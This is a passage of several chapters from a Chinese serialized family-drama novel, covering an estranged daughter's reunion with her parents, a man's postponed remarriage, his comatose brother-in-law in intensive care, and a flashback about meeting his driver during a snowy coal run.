面对陌生而又熟悉的女儿,母亲的眼中闪烁着复杂的情感,似乎有愧疚,还有一丝期待。
何晓雅的心中涌起一股混杂着怨恨与思念的情绪。
她试图寻找话语来打破这令人窒息的沉默,却发现自己的喉咙干涩,难以发声。
她竭力克制着内心的波澜,试图以一种成熟的方式面对眼前的局面。
然而,她清楚地知道,这三年的隔阂并非一时半会儿能够消除,他们需要时间和努力去修复那曾经破碎的关系。
父亲并没有走远,他在来的时候已经把招待所订好了。他知道女儿的地方肯定是住不了这么多人的。
今天是第一次见到外孙,在外公的眼中,外孙是如此可爱,他的红扑扑的小脸让外公心中充满了喜悦。
然而,过往与女儿的矛盾如阴影般笼罩,外公深知,那不应成为阻碍给予外孙爱的理由。
为了弥补过去的遗憾,外公精心挑选了一份礼物。
那是一本精美的画册,里面描绘着各种美丽的风景和有趣的故事。每一页都细腻地展现了色彩与情感,仿佛是为外孙打开了一个全新的世界,同时弥补父女间的伤痕。
外公决定把这本画册送给外孙。
他又买了许多零食提在手上。
晓雅父母和晓雅来到了晓雅的出租屋。
不看不知道
一看吓大跳!
晓雅父母咋都想不到女儿竟然住在如此简陋的房间里。
不到二十平米的房子,挨窗户放着一张1米5的床,床头对面,是用砖砌的墩子,上面放着一块并不规则的木板,电视机就放在木板上。
北边窗户跟前是灶具,连一件像样的家具都没有。
看到这情景,晓雅父母一阵痛伤。
正在晓雅忙活着烧水的时候,老公国庆回来了。
在这个连转身都困难的狭小房间里,晓雅父亲感到压抑、烦闷。
他站在了门面的阳台上。
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外孙醒了,当外公将礼物递给外孙时,他看到了外孙眼中的惊喜和喜悦。
那一刻,外公心中的愧疚稍稍减轻,他明白,这份礼物不仅仅是一种物质的补偿,更是一种情感的连接。
外孙一点都不认生,紧紧依偎在外公怀里,感受着那份来自长辈的温暖和关怀。
尽管时间可能无法完全抹去过去的矛盾,但他希望这份礼物却成为了一个新的起点,一个传递爱与和解的契机。
国庆安排一家人在门口的一家饭店吃饭。
这是一家人第一次坐在一起吃的团圆饭,国庆非常谨慎。
国庆没有酒,在他心里有个坎,那就是正因为酒,岳父才对自己有看法,不予认可。
国庆殷勤的表现着,夹菜倒水,很有眼色,而岳父总是对他不咸不淡,搞得国庆很不好意思。
在说到住宿问题时,国庆说让二老住在自己家,他和晓雅住到朋友家,钥匙都拿了。
岳父说:“不麻烦了,招待所我都订了,离你家也不远,没必要麻烦别人了。”
“那咱一退不就行了?”国庆不假思索地说。
“现在都7点多了,人家给你退?”岳父问。
国庆不吭声了。
吃完饭,晓雅和老公让父母到自己屋里去住,两个人拒绝了。
他们一起来到了招待所的房间。
孩子在房间里尽情的玩耍着。
看到外孙无忧无虑的玩耍,外公心里涌上一种莫名的伤痛。
外公心里有事!
他今天来时,火气特别大!
昨天隔壁的何川被警察带走后,晓雅姑父来了,带
来了非常不好的消息。
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第11章 结婚无望疑心起,父为救儿租房住
吴之玄在医院被医生的复位按压折磨得痛疼难忍,右胳膊的脱臼问题复位好了,医生建议减少活动,注意休息。
回家的路上,沈莎莎问吴之玄:“咱俩还结婚不?”
吴之玄一愣,他知道沈莎莎这句话的意思是什么?他答应过沈莎莎有时间去看孩子,顺便把结婚日子定下来,可这段时间前妻家里事真的太多了。
他笑着对沈莎莎说:“等胳膊好了,第一时间就去。你看,要不是今晚摔这一下,说不定咱明天就走了。”
沈莎莎瞪了他一眼:“唉,遇见你我也只能自认倒霉,你看着办吧。”
“只要国瑛这边事一完,马上结婚。”吴之玄冲沈莎莎说着。
正在生气的沈莎莎没好气的说:“她家里的事我看除非你不管才能完,你要管就永远没尽头。”
说着沈莎莎掉下了眼泪:“我这是何苦来,跟着你偷偷摸摸生孩子,生了孩子又让别人偷偷摸摸养,婚到现在都结不了,我真怀疑你是不是在骗我?”
吴之玄立马说:“你太冤枉我了,啥时候能骗你,骗你还让你买结婚用品,还给你租房子?”
“租房子还不是因为孩子吗?不为孩子我可能就住不到这里。”
“想多了,想多了,快把房子里的这些东西收拾收拾,早点休息。”
沈莎莎再没吭声,她边收拾结婚用品边想;她和吴之玄在一起已经两年多了,孩子也有了。
为了顾及名声,把孩子偷偷放在山沟里让别人抚养,为的是等前妻三年一过就结婚把孩子接回。
然而,前妻离开三年后,吴之玄仍未与她结婚。这让沈莎莎心生疑虑,是因为前妻家的事情未了,还是他心中有别的烦恼?亦或是他一直在欺骗自己的感情?她不禁陷入了深深的思考和困惑之中。
每一天,沈莎莎看想孩子的成长,心中的不安愈发强烈。她渴望给孩子一个完整的家庭,却不知道如何打破这僵局。每次提及结婚的话题,吴之玄总是这事办完马上结婚,看起来前妻家的事真是太多太多了,让她无法得到明确的答案。
沈莎莎回想着吴之玄的言行举止,试图寻找答案。她发现他时常默默沉思,似乎心中藏着许多秘密。
难道是前妻的阴影还笼罩着他?或者是他对婚姻有了新的看法?她试图与他坦诚相对,但每次都被他的马上结婚几个字所回应。
在困惑和痛苦中,沈莎莎渐渐失去了安全感。她开始怀疑吴之玄的真心,担心自己被欺骗。
然而,她又不愿轻易放弃这段感情,毕竟他们已经有了孩子。她在爱与困惑之间徘徊,不知道该如何面对这复杂的局面。
或许,只有时间才能解开这个谜团。沈莎莎决定给吴之玄一些时间和空间,趁着这段疗伤的时间沟通一下。
同时也努力让自己变得更加坚强。她要学会保护自己和孩子,等待事情的真相大白。
无论结局如何,她都希望能够找到属于自己和孩子的幸福。
吴之玄独自一人待在客厅,心中充满了对沈莎莎的愧疚。他回忆起她对自己的好,那些温暖的笑容和关切的眼神,如同阳光一般照亮了他的生活。
然而,前妻家的事情却如同一团乱麻,让他无法脱身。每一件事情都需要他去处理,让他感到压力巨大。
他知道,这样下去,只会让沈莎莎一直在希望中等待,而他却无法给予她一个明确
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的未来。
吴之玄的心情沉重,他明白自己不能再让沈莎莎受到伤害。他决定要和沈莎莎坦诚相对,告诉她自己的困境和无奈。
尽管这可能会让她痛苦,但他相信,真正的爱是建立在理解和尊重的基础上的。
第二天的夜晚,吴之玄和沈莎莎出来散步。
吴之玄说:“我昨晚想了想,你一直默默的陪着我,并付出着,可我却给不到你现实,总给的是希望,你不介意吧?”
沈莎莎没有直接回答:“你说介意不?不介意就不催你问结婚的日子。”
“不是我推卸责任,你也能看到,她家里的事就是太多了,加上弟妹都没成家,我能袖手旁观吗?”
“我不嫌你管你前妻家里的事,但你总不能为她家里的事把我晾在一边啊。”
“你说的也是事实,我也意识到了,但一忙起来有时还真顾不上关心你,今晚给你道个歉,也希望你能理解我这不会浪漫的人。
但谁都不愿意有事,偏偏就是事连事。
你也知道,咱也说好的,等她三年一过咱就结婚,可谁知在她三年的前一天,真是邪了门,竟把她弟从梯子上摔下来了。
摔下来了还把后脑勺磕到地上了,到医院一查,脑水肿!
真是飞来横祸,令人意外。
你说这人命关天的事我能不管吗?
最关键的一点还是在我家出的事,我不管能说过去吗?
其实你也能看见,有时候我也蛮矛盾的,这样的生活方式什么时候是个头?
我给他们出钱出力,为了什么?
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第11章 细心陪儿为早醒,餐厅吃饭遇公安
重症监护室门上的小窗口打开了,张国栋的家属,张国栋的家属!
护士长在喊道。
刚坐在椅子上的张老头立马站起来,在这,在这。
进来一下。
护士长开了门,张老头忐忑不安地进了重症监护室。
在穿鞋套时,张老头问:“是不是病人清醒了?”
护士长看了他一眼说:“你今天给病人活动活动筋骨,多陪陪病人。”
听到这话,张老头犹如当头挨了一捧,所有的寄托和希望都被护士长的这句话而击碎。
张老头心情沉重地走到儿子的病床前,眼神空洞,脸上写满了忧虑。
“多陪陪病人”这句话在他耳畔不停回响,让他的心愈发沉重。他紧紧握着儿子的手,仿佛这样就能抓住儿子的生命。
看着昏迷的儿子静静地躺在那里,脸色苍白,毫无生气。张老头的目光一刻也不敢离开儿子,生怕错过任何细微的变化。每一次呼吸,每一次心跳,都牵动着张老头的神经。
他的脑海中不断闪过儿子过往的画面,那个让人费神操心的儿子现在安静的躺在病房里,护士长轻轻地走到张老头身边,柔声嘱咐他要多跟儿子说说话,活动一下儿子的筋骨。
张老头默默地点了点头,他缓缓地坐在儿子的床边,眼神中充满了慈爱和忧虑。
他轻轻地握住儿子的手,开始低声诉说着生活中的点点滴滴,试图唤起儿子的意识。他讲述着儿子小时候的趣事,那些曾经一起度过的快乐时光,还有儿子的梦想和追求。
渐渐地,病人的手指似乎微微动了一下。张老头的眼中闪过一丝惊喜,他更加起劲地讲述着,声音中带着微微的颤抖。他告诉儿子,大家都在期待着他的康复,希望他能坚强地战胜病痛。
随着张老头的讲述,病人的手指动得越来越频繁,仿佛在努力回应着父亲的关爱。
这一刻,病房里充满了希望的气息,仿佛春天的第一缕阳光穿透了阴霾,照亮了整个房间。的孩子如今却紧闭双眼,让他心痛不已。
他不知道儿子什么时候才能醒来,不知道未来会怎样。恐惧如潮水般涌上心头,他害怕失去儿子,害怕面对未知的结局。
时间一分一秒过去,张老头的心情越发紧张。他在心中默默祈祷,希望儿子能尽快苏醒,希望上天能眷顾这个不幸的家庭。希望他所做的一切和付出的行动能够有所改变,希望奇迹能够出现。在漫长的等待中,他的担忧和害怕不断交织,折磨着他那颗疲惫的心。
吴之玄那晚送完岳父后,在回家的路上,被岳父那神秘的话语所惊吓。
几天过去了,不知道岳父是否安好。
在家养伤的吴之玄虽然也曾为岳父家的事和沈莎莎进行沟通,但行为的习惯,心里的操心神使鬼差地使他来到了公司。
他叫上司机小刘开上车到岳父的老家去看看他老人家。
门上大锁一把!
吴之玄下车后,看到岳父家的大门口与他平日里来有所不同。
门框上方贴满各种镂空的黄纸,门拴上拴着几条红布条,门两旁的石头上还贴着红色的纸。
吴之玄询问邻居,邻居告诉他几天前就去医院看儿子了。
白跑一趟。
吴之玄和小刘又驱车去市医院,见见岳父和昏迷中的小舅子。
一个女婿半个儿。
现在前妻家唯一的儿子
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躺在病床上昏迷不醒。一人住院,全家牵挂,岳父往返在老家和医院之间,小姨子请假在医院陪护。
所有家人的付出和辛苦只为国栋能早日清醒有意识,到那时任何人都会喜笑颜开。
这几天到底是什么情况了?吴之玄也不了解。毕竟躺在重症监护室的国栋一天不清醒都是吴之玄的一块心病。
自己在给国栋看病的事上,那可真是费心费力。
找医生、问专家、送片子,吴之玄觉得自己都快成为脑内科专家了,这些还都不是为了给国栋找最佳的治疗方案,以便早日从昏迷中清醒过来。
吴之玄又想起那天岳父下车后回过头来说的那句话,安顿庄宅、清污祛秽。
这明显是想搞封建迷信活动,刚才在岳父家门口他看到门框上边贴满的各种黄纸,还有门口石头上的红纸,门拴上的红布条,看起来岳父把不想的办法都想出来了,不管是否对国栋病情有作用,至少能得到一些精神上的希望和心里上的安慰。
但愿老人的这些做法对躺在病床上的儿子带来好运。
“肚子饿不?”小刘的问话打断了吴之玄的思绪。
“你不说还不觉,一问反倒觉得肚子饿得在叫唤。”
“马上就要到了,要不先吃饭再进去?”
“行么,你想吃啥把车停他门口,咱吃饭。”
“嗯,我找个地方咱吃。”
小刘跟了吴之玄这几年,对吴之玄的饮食习惯早已了如指掌。
小刘把车停在一家好再来餐厅门口。
一进餐厅,好家伙,人真多!
客人多的没人招呼。
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第11章 姑爷受伤岳父心疼,小姨疑惑难说出口
“你不会在公安是有案底的人吧?”吴之玄认真的问小刘。
“对啊,我也在怀疑,我在公安有案底哥你是咋知道的?”小刘神秘的瞅着吴之玄。
听到这话,吴之玄瞪大眼睛,神秘的问:“啥时出来的?”
“今天刚出来的。”小刘看起来很认真的样子。
“滚。跟你不说了。”吴之玄抬起身子,坐直了腰板。
“咋了?”
“公司是监狱吗?”
“比监狱还监狱,就是比监狱自由度高,哈哈哈哈。”
两人大笑起来。
“说正事,吃完饭你到车上休息一会儿,我直接过去到医院,你到东林路三合果行把咱钱催一下,今天能给多少拿多少?”吴之玄给小刘安排着工作:“正事办完,你想在哪去就在哪去,反正咱也不着急回。”
小刘挠了挠头:“那我晚上一点接你回,行不?”
“你干啥去?到公安留案底去啊?”
“那倒不至于,有点私事,嘿嘿嘿。”
“你的隐私哥不问,那你安排吧,最迟不能起过十二点。去吧。”
小刘到前台去结账,老板说有人结过了。
小刘看了一眼吴之玄,吴之玄就明白啥意思了:“我一直没动,你也看到了我把钱没掏出来。”
于是两个人同时想到了国静。
小刘走了以后,吴之玄并没有走,他想等着和国静一块去医院。
吴之玄看着人越来越少,忙活劲头过去了,餐厅所剩没有几个客人了。
吴之玄坐在离前台最近的桌子上:“老板,高峰期快结束了吧?”
正在按计算器的老板说:“天天都是这,忙来把人能忙死,闲来把人能闲死,餐饮行业太费人了。”
看着不停的按计算器的老板,吴之玄不吭声了,他不想打扰老板算账。
吴之玄给老板发了根烟,老板客气的说,谢谢,不会。
吴之玄自己点起烟抽了起来。
他认为国静的选择是正确的,农村毕竟人少,她在镇上那小卖部可能还没在这里的收入高。如果是那样,还不如在这儿上班。
虽说国静是临时应急在这里上班,至少把自己可以养活了,对老丈人是一种压力的减轻,同时对吴之玄也是一种欣慰。长大了能自力更生了。
就是岳父太固执了,国静念书是姊妹中学的最好的一个,谁知妻子国瑛一出事,国静和岳父就回到老家去了,国静不上学了,在家开个小卖部,父女俩现在就靠小卖部生活着。
千不该,万不该,不该让该念书的国静端盘子。
老板停下手中的活,看着吴之玄,微笑着说:“老板在哪高就?”
“啥高就不高就的,和你一样,自己给自己刨着吃哩。”
“我不信,光这身行头一看就气度不凡。”
“啥气度不凡,就是洗得干净点罢了。”
“不好意思,方便不方便问一下你这胳膊…”
“没有什么方不方便的,摔了一跤脱臼了。”
“那可要特别小心哟。”
“我注意着哩,也小心着哩。”
“老板是个练家子吧?刚才和你一块的那小伙子也拳脚了得。”餐厅老板说着给吴之玄竖起了大拇指。
“添乱了,添乱了。”
“好着哩,没伤我一物一件,还帮公安抓了嫌疑人,你俩可不是一般人啊?”
“我们就不是一般人,是二班的人,哈哈哈哈。”
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老板也笑了起来:“那国静真是刚走那小伙子的妹妹?你俩的饭钱是国静提前付过的。”
吴之玄有所保留:“妹妹请她哥吃饭很正常,应该的。就是一想知道你没看她在你这儿表现如何?”
“你的妹妹在这里工作表现得非常出色。学的也快,工作非常投入。
她总是以热情的态度对待每一位客人,让人感觉格外温暖。而且她工作认真负责,从不马虎对待任何一个细节。
国静最大的优点就是有思想,有主见,果断利落。”
吴之玄听了,脸上露出了欣慰的笑容:“可不可以让她长期留在这里啊?”
“老板开玩笑了,你妹妹那么有才的娃,我这受用不起啊!”
“你再观察一阵子,如果觉得国静行就留下,不行那谁也没办法,对不?”
“还是想把人留下,就是不知她愿意不?”
“你要留,我来说”。吴之玄对老板说。
“一言为定!”老板看说吴之玄。
吴之玄攥紧左拳:“绝不食言!”
国静从二楼下来了,看到吴之玄正在老板面前握着拳头,大吃一惊,连忙跑过来:“哥,你又要干啥?刘总可是好人。”
说完看了看刘总,又看着吴之玄:“哥,是咋了吗?”
吴之玄笑了笑:“不咋的。等你下班一起去医院。”
刘总看了国静一眼,又看了吴之玄一眼,两人都笑了。
国静放心了,原以为两人要开干,没想到自己想多了。
囯静抬头看了看餐馆的钟表:“再等16分钟就下班了。”说着就把走的迟的客人坐过的桌子进行抹洗。
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第12章 岳父心疼受伤姑爷,女儿出路该走何方
看到睡醒的吴之玄,岳父张老头嗔怪着说:“你几十岁的人了还不小心把自己摔伤了?”
吴之玄站起身:“没事,叔。”
“啥时候的事?”
“就是送完你回去的那晚。”
“骨折没?”
“没有,脱臼了。”
“还挺厉害的。”
“不要紧,没事。”
张老头停了一下说:“唉,真不知是咋了,这段时间咱这家怪事就出不停,哪儿不合适?”
听到父亲的埋怨,国静马上转问话题:“爸,你今天在里面待了大半天,国栋是啥情况?”
父亲坐在椅子子上看了看国静和吴之玄:“今天护士长让进去给活动活动筋骨。刚进去时还心事重重,待了多半天,按护士长的交待,我和国栋说了半天话。
我发现国栋似乎有意识,能听懂我的话。”
“他睁开眼了?”国静急切的问。
“虽然眼没睁,但有时候手会有意识偶尔动一下。”
“这可是个好消息。”吴之玄站在两人中间说:“只要有反应,说明还是有意识的。”
“看起来和他说话还是一个不错的主意。”张老头说道。
“但愿早日有意识。”吴之玄说着自己的想法。
“张国栋家属,可以探视了。”护士长喊道。
三个人全部涌进了重症监护室。
吴之玄站在床前,仔细的看着躺在床上的张国栋,唯怕错过了每个细节。
当他看到张国栋的右手时,他的眼睛定在了那里。
他发现张国栋的右手虎口外的皮肤在微微的动着,他仔细观察着,发现似乎并不规律。
突然他看到右手上的大拇指和食指无意识的动了一下,他再瞪大眼睛看着,又动了一下。
他没有吭声,看了一眼国静,示意她留意国栋的右手。
国静聚精会神地看着国栋的右手,果然,国栋的右手上的小拇指一动一动,虽然幅度不大,但她真切切的看到了。
“快看,国栋右手指真在动!”
国静兴奋的大喊起来了。
张老头立即把目光从张国栋的脸上落在他的右手上,认真的看着。
“嘘!小声点。还有其他病人。”护士长走到国静跟前警告她。
国静这才注意到,自己在这重症监护室来过N次,在这近一个月的时间里,竟然从来没仔细观察过这重症监护室的布局。
护士长走后,她这才注意到看看这重症监护室是个什么样的布局。
弟弟国栋病床的西边还有三个病人,南边有八张床,今天住了六个人。两张病床之间全部用帘子隔着,病人全部都是插满各种管子和放着各种仪器的设备,发着嘟嘟嘟的声音。
弟弟国栋的病床左边就是护士的办公桌和各种病人用的药物。
三个护士都在紧张的忙碌着,不是病床上的人换吊瓶,就是给有的病人擦洗身子。
看起来做护士还真是一件蛮辛苦的差事。
“就是手指在动。”张老汉欣喜的说。
“那说明和病人沟通说话还是起作用的。”吴之玄说。
“我不知道以前是个啥状态,但我看到的状况还是比较乐观的。”张老头说着流出了眼泪。
“我们一定要尽力而为,让国栋清醒过来。”国静说着,顺便把国栋的被子揭起,这是她每天的习惯。她要检查着看国栋是否有大便的排出物,身上是否有褥疮。<
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在确认一切正常的情况下,她给国栋盖好被子轻声说:“国栋,姐夫来看你来了,你知道吗?你能听到姐夫的声音吗?你能听到我说话吗?如果你能听得到就动动手。”
几个人一直注视着国栋的右手,这会儿似乎不再有大的动静了。
“不着急,慢慢来,一切都会好起来的。”吴之玄看着病床上的张国栋说:“他总有一天会看到我的。”
半个小时的探视时间结束了,三人同时走出了重症监护室。
张国静告别了父亲和姐夫就上班去了。
“那咱俩是在医院里还是去你住的出租屋?”吴之玄问岳父。
岳父尴尬的看着吴之玄:“你胳膊不好,我那地方太小,还是咱在医院里走走吧。”
在医院的院子里,岳父和吴之玄并肩漫步。岳父关切地询问:“之玄,我想问你个问题。”
吴之玄愣了一下,看了看岳父说:“你有啥话就问。”
岳父从口袋里掏出烟,给了吴之玄一根:“我以前跟你说过,但没细问,今天咱爷俩这没人,我想问问你。”
吴之玄接过岳父递过来的烟叼在嘴上,又从岳父手里要来打火机,用左手把烟燃起,心里想,肯定是婚姻的事。
果不其然,岳父问起来了:“你难道再不往前走一步?一直就这么下去吗?”
吴之玄没吭声,口是听说岳父的话:“现在国瑛的三周年都已经过了,你应该考虑到自己的事情了,在我这里,你千万不要有任何顾虑。自从国瑛嫁给你到现在我家还是把你一直拖累着,你这娃心善,啥事都替别人考虑,但不能不考虑自己啊。”
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第13章 回忆往事记恩情,知恩图报人之本
岳父笑了笑:“你看,市里吃穿住行,哪样不要钱?”
“噢,你是说这,我知道了。”
“所以我觉着还是回农村去,空气新鲜,环境好,还省钱。”
“你说这,我还是认可的,但以后农村人越来越少,这是一种大趋势。”
“我也能意识到。但市里生活成本比农村高很多,说心里话,我的体会就是这样的。”岳父说着:“这几天在医院一直想这问题。”
“想这问题干什么?你要当市委书记?还关心起民生疼头的事了?”
“我哪有那能力?”岳父笑了:“司机几点过来接你?”
“今晚可能迟一点,没事。”吴之玄回答着。
“那只有回我住的地方了?”岳父问。
“没办法了。”吴之玄笑了。
“那去了司机找不到你。”
“我还没想到这,如果你不冷,咱就继续在这儿散步说话?”
“我穿的厚,没事。”
“那就好。”
当两人走在医院里的院子里时,吴之玄突然觉着好像和岳父没有啥话题可说了。
“司机咋过来这么迟的?”岳父打破了沉默。
“他说处理一些事。”
“司机今年多大了?”
“可能24了。我也没细问过。”
“比国栋大3岁。”
“是个勤快娃。”
“我看就是干啥挺麻利,有你年轻时的那股利落劲。”岳父表扬着小刘的同时也在夸奖着吴之玄。
吴之玄笑了:“我还比不上那小伙,哪有武功。”
“真的,在哪学的。”
“据他说好像是跟着山东一位拳客学的。”
“那娃是哪儿的人?”
“甘川的。”
“那咋能认识山东人?”
“山东有人一年四季在他那一片给人种地。”
“噢,咱这里也有看瓜的山东人。那你俩咋认识的?”
吴之玄坐在路边的路沿上,岳父也跟着坐了下来。
吴之玄给岳父发了一根烟,开始讲起他和司机小刘之间的事:
人这有时候真的是缘分。我和小刘完全是因缘分而相识,从做人的方面说的话,也就是大家所说的滴水之恩当涌泉相报。
我跑车的第三年冬天,好像是剩十几天就要过年了,我原打算不跑了,停下准备年货。但县医院总务科长跑到我家,软硬兼施,说让我无论如何要给医院拉两趟煤。
我知道县医院的煤是卫生局雷局长的儿子雷史明一直在拉着,所以就没有去的想法。毕竟大家也相互认识,各有各的客户,互不争抢。
可医院总务科长可能也是急了,担心春节期间医院的锅炉房没煤烧,加上雷史明的车出了车祸,没办法了,就找我来了。
我根本不想跑,我知道,上面的山路一下雪,再一上冻,非常操心,所以说啥我都不同意去。
没想到那科长说了优惠的条件,一是运价上浮每吨百分之三十,二是他陪我去,三是第二年拉煤的业务全部由我包了,四是运费不拖欠。
现在想想那时也太相信别人了。
明明是卫生局长的儿子在给医院拉煤,我却横插一杠子,结果第二年只拉了两趟,医院就把总务科长换了。
从那以后我才知道权力的重要性。有权不使,过期作废,在我看来,是非常实在的大实话。
这咱都不说了,可气的是总务科长
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说好的陪我拉两趟,可当我把车开到医院叫他出发时,他却以事急离不开为借口,不配合了。
遇到这种事,咱也没办法了,毕竟咱收了人家的定金了。
硬着头皮往山里的矿上开,雪越走越大,那几年的道路你知道,根本不像现在的水泥路面或柏油路,全是沙石路,而且泥泞不堪的土路也特别多。
在泥泞的道路上,我紧握着方向盘,心跳急速加快。大雪纷纷扬扬,天地间一片白茫茫,视线模糊不清。孤独的我艰难地行驶在被雪覆盖的沙石路上,每一步都充满了挑战。
车辆在雪地上缓慢地前行,车轮不时地打滑,我的神经紧绷着,生怕一不小心就会陷入困境。
寒风呼啸着,夹杂着雪花打在车窗上,让人心生寒意。路上没有其他车辆或行人的踪迹,只有我与这片茫茫雪景相伴。
我集中精力,小心翼翼地转动着方向盘,努力保持车辆的稳定。
雪花纷纷扬扬地落下,像是无数的小精灵在翩翩起舞,却又给我的前行带来了无尽的困难。我心里暗骂着总务科长,这个挨刀子的小领导竟用欺骗的手段让我进入到这令人担心的鬼地方拉煤。
渐渐地,我远离了城市的喧嚣,驶入了必经的山沟里,开始了山路十八弯的爬坡路段。
在这片白茫茫雪的世界。周围的寂静让我更加清晰地听到自己的呼吸声和车轮与雪地摩擦的声音。
我仿佛与大自然融为一体,虽然艰难,但也感受到了一种与众不同的宁静。
人说怕怕处有鬼,痒痒处有虱。
当我小心翼翼地爬完那段山路上到平地后,一种成功的喜悦令我心情大好。
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第14章 好心放钱被当小偷,误会解除成为朋友
当我正准备把手中的钱偷偷放在老人门口的窗户外,用窗户上的军用水壶压住时,一个留着长头发的小伙子进来了。
只见他右胳膊挎一担笼,左手提着一把镰刀,看到这小伙看我的眼神,让我突然想起电视剧《霍元甲》里和独臂老人交手前霍元甲那冷静的眼神。
我把钱握在手上,被进来的小伙子吓了一跳。
看到我手中的钱,小伙子疑惑的问:“你是干啥的?在这儿干嘛呢?”
还没等我开口解释,小伙子以迅雷不及掩耳之势,左手已攥住我的右手腕,他一转身用身子把我往后一推,我手上的钱瞬间到了他手上。
我都没搞明白咋回事?
“那是我的钱?”我急得喊了起来,只是觉得手腕有点疼。
那小伙子双手叉腰,歪着头,看着我:“你这是哪来的?”
“是我自己身上的。”
“那现在已在我身上,就证明这是我的钱喽?”说着,小伙子麻利的把钱装进自己的口袋,伸出双手一摊:“与你没关系了吧?说实话,你到底到我家干啥来了?”说着小伙子又从口袋里把钱拿出来在手上轻轻的甩着。
“我,我,我是来感谢叔叔和姨来的,我准备把这留给他们…”
“哎哎哎,你慢点说,我咋听说感谢叔叔和姨来的?你叔叔和你姨在哪儿?怎么跑到我家里来了?我咋不认得你?”小伙子转圈看着我。
“我怎样才能给你解释清?”我急得直挠头:“反正我也是一片好心。”
“你一个陌生人站在我院里手里拿着钱解释不清这钱的来由,是不是值得主家怀疑呢?”
正看着我的小伙子眼光突然调转了方向,我顺他的眼光看去,是老人手里拿着一盘铁丝从里屋出来了。
我似乎抓到了救命稻草,赶紧抢先一步蹿到老人身旁:“叔,你快告诉他,我不是小偷!”
老人看了一眼我:“小偷?胡说啥呢!”又看了一眼站在门口横眉冷对的小伙子,笑了起来。
咋了?
老人明白我话的意思了,冲小伙子用拿钳子的手举起,并摆了摆钳子,对小伙子说:“这师傅是到咱家看他是如何跌落到咱院子里的,并不是你想象的那个样子。”
“跌落咱院子?干啥跌落?”
小伙子问着看着手中的钱:“莫非为它?”
老人看到小伙子手中的钱,惊了一下问:“你哪来这么多钱?”
小伙子没回答,只是看着我。
老人忙说:“可使不得,千万不要给钱,会害人的。”说着就从小伙子手中要过线递到我面前。
我突然觉得一阵脸发烧。
我并没有去接老人给我的钱。
老人把钱举在空中停下像定格了一样。
小伙子用右手捋着自己的长头发不解地望着我俩。
“叔,你还是拿着吧。”我说话了:“你看,我给你你不要,我就想趁我走的时候给你压在窗外的军用水壶下,没想到我还没压,他来了,看到我手里的钱,就闹出了这误会。”
我说完看着那小伙子。
老人听了我的话犹豫了一下,直接把钱塞到我手中:“小伙啊,你挣钱也不容易,你看这冰天雪地,荒山野岭的地方你在这里受困蛮辛苦的。无功不受碌,我把这拿上心里也不踏实。你的心意我领了,别再在这儿为这事拉拉扯扯了。拿着。”
老人把钱塞到了我手中:“
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快走,趁这天晴道干抓紧时间赶路吧,上面装煤不要赶不上了。”
我无奈的接过钱说:“叔,你的救命之恩我永生不忘,我一定还会再来的。”不知为何说这话的时候突然我觉得眼睛湿润了。
说着便往外走。
站在门口的小伙子问老人:“爸,他是开车拉煤的司机?”
“咋了?就是的。”老人看着儿子。
儿子停了一下,说:“噢,不咋,就顺便问问。”
老人拿着铁丝和钳子跟在我后面:“你不是要铁丝吗?忘了给你了。”
我本来不需要铁丝,只不过是为放钱而故意找借口顺口说了一句,没想到老人还把我的事认真了。
我被老人的真诚所感动:“差点给忘了。”我接过老人手中的铁丝,看了一眼那小伙子:“那是你儿子?”
“不懂事,他有啥不周的地方千万别计较。还年龄小。”老人笑着说。
“什么不周?什么计较?叔,你想多了。我看那是个聪明人。”说着我给老人竖起了大拇指。
老人眼睛眯成一条缝,嘴上却说:“你真会讲话,普通人,普通人。”
老人跟着我一直朝窑背上走着,我劝他赶快回家,老人说:“在家也没没事,顺便到窑背看看你跌落的坡道得需几车土可填满。”
我听了老人的话停了下来,扭头去看他,发现他儿子也跟着上来了。
我问老人:“你为啥要填坡道?”
“不可能填坡道,就是把上面的口堵严,防止东西啥滚落下来掉到我院里。你这事给我提个醒,上面后坡口必须堵上。”
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第15章 小伙为家常操心,唯恐二姐受欺负
我边开车边给小刘讲了自己被困在他窑背上,自己想办法拖车的事后,小刘瞪大眼睛似乎不相信:“你一个人能把车拉动?”
我笑了:“路上有冰凌,滑的很,一使劲,车可以动。也是心急没办法了,才想的没办法的法子。要不咋能和你爸相识。”
“你是用力过猛了,绳头松开了,把人闪到后面去了?”
“就是用力太大了,一闪,地滑的很,滑落到坡道里,顺着坡道滑到你家的柴垛上,把我摔昏了。”
“我没在家这两天,我爸还干了件天大的好事。”小刘骄傲的说。
“那你干啥去了?”
小刘长叹一声:“唉,看我二姐去了?”
“你二姐咋了?”
“说不成,又让那狗日的男人打了。”
“狗日的的男人?是你二姐夫还是别人?”
“还能有谁?”
“那为啥打你姐?”
小刘突然不吭声了,可能他觉得自己不应该把这事说给这个刚认识的人,可他又怕说给家人给增加烦恼,自己压在心里的火又没人倾诉。
我看出来了小刘的忧虑:“咱俩刚认识,你可能不相信我,我也不是那爱宣扬的人,你自己看吧,反正咱俩都没事,就是闲聊。”
小刘说:“我真想打死那狗东西,可我姐老护着那狗东西。”
“为啥?”
“我姐说的一句话把我还真给难住了。”
“啥话?”
“我姐说,你把他打死,两个娃就没爸了。我一听这话就松手了。”
“不知方便问你不?”我试探性的看着小刘。
“有啥不方便的?你问。”小刘似乎并不在乎我的问话。
“你姐夫为啥打你姐?”
小刘把头扭向窗外,似乎在想着什么?
车子在湿滑的地面上艰难的行驶着。卡车在雪地上行驶,发出嘎吱嘎吱的声音,这声音在寂静的雪夜里显得格外清晰。我集中精力驾驶着,眼睛紧盯着前方的道路。
雪花纷纷扬扬地飘落下来,挡风玻璃上的雨刮器不停地来回摆动,努力保持着视线的清晰。我的手紧紧握住方向盘,感受着卡车在雪地上的每一次颠簸和摇晃。脚底踩着油门和刹车,小心翼翼地控制着车速,以应对突发状况。
车内的温度很低,我能感觉到呼吸出的热气在冰冷的空气中凝结成白雾。寒风从门缝和窗户的缝隙中吹进来,带来阵阵凉意。我不禁裹紧了身上的衣服,同时也更加专注于驾驶。
卡车的前方的雪地,映出一片片洁白的光芒。我小心地绕过雪堆和冰凌,确保车辆的平稳行驶。每一次转弯和避让,都需要我全神贯注,不敢有丝毫的松懈。
我瞅了一眼坐在副驾的小刘,觉得气氛有点沉闷,就问:“不方便了说了就不说了,反正咱俩一聊,也就随这雪花一飘,无踪无影了。”
小刘回过头问:“哥,你结婚了吗?”
我笑了起来:“你是不是觉得我很年轻?告诉你,我孩子都半岁了。”
“噢,”小刘又往车前方盯着说:“人结了婚是不是事就多了?”
“啥意思?”
“就是说,两个人整天为各种事情吵架?”
